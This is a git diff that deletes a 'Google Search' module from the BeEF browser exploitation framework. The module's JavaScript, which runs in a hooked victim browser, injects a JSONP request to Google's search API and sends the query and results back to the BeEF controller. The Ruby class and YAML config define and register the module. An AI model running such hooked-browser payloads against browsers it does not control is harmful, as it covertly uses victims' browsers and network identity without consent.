diff --git a/modules/misc/google_search/command.js b/modules/misc/google_search/command.js deleted file mode 100644 index 21053c73c..000000000 --- a/modules/misc/google_search/command.js +++ /dev/null @@ -1,30 +0,0 @@ -// -// Copyright (c) 2006-2016 Wade Alcorn - wade@bindshell.net -// Browser Exploitation Framework (BeEF) - http://beefproject.com -// See the file 'doc/COPYING' for copying permission -// - -beef.execute(function() { - - var query = beef.encode.base64.decode('<%= Base64.encode64(@query).delete("\n") %>'); - - var searchGoogle = function(query) { - - var script = document.createElement('script'); - script.defer = true; - script.type = "text/javascript"; - script.src = "https://ajax.googleapis.com/ajax/services/search/web?callback=callback&lstkp=0&rsz=large&hl=en&q=" + query + "&v=1.0"; - - callback = function (results) { - document.body.removeChild(script); - delete callback; - beef.net.send('<%= @command_url %>', <%= @command_id %>, "query="+query+"&results="+JSON.stringify(results)); - }; - - document.body.appendChild(script); - } - - searchGoogle(query); - -}); - diff --git a/modules/misc/google_search/config.yaml b/modules/misc/google_search/config.yaml deleted file mode 100644 index 5f2356a4d..000000000 --- a/modules/misc/google_search/config.yaml +++ /dev/null @@ -1,15 +0,0 @@ -# -# Copyright (c) 2006-2016 Wade Alcorn - wade@bindshell.net -# Browser Exploitation Framework (BeEF) - http://beefproject.com -# See the file 'doc/COPYING' for copying permission -# -beef: - module: - google_search: - enable: true - category: "Misc" - name: "Google Search" - description: "This module uses the hooked browser to search Google." - authors: ["bcoles"] - target: - working: ["ALL"] diff --git a/modules/misc/google_search/module.rb b/modules/misc/google_search/module.rb deleted file mode 100644 index 7bb69fbeb..000000000 --- a/modules/misc/google_search/module.rb +++ /dev/null @@ -1,22 +0,0 @@ -# -# Copyright (c) 2006-2016 Wade Alcorn - wade@bindshell.net -# Browser Exploitation Framework (BeEF) - http://beefproject.com -# See the file 'doc/COPYING' for copying permission -# -class Google_search < BeEF::Core::Command - - def self.options - return [ - {'name' => 'query', 'ui_label' => 'Query', 'type' => 'textarea', 'value' =>'beef', 'width' => '400px', 'height' => '50px'} - ] - end - - def post_execute - content = {} - content['results'] = @datastore['results'] - content['query'] = @datastore['query'] - save content - end - -end -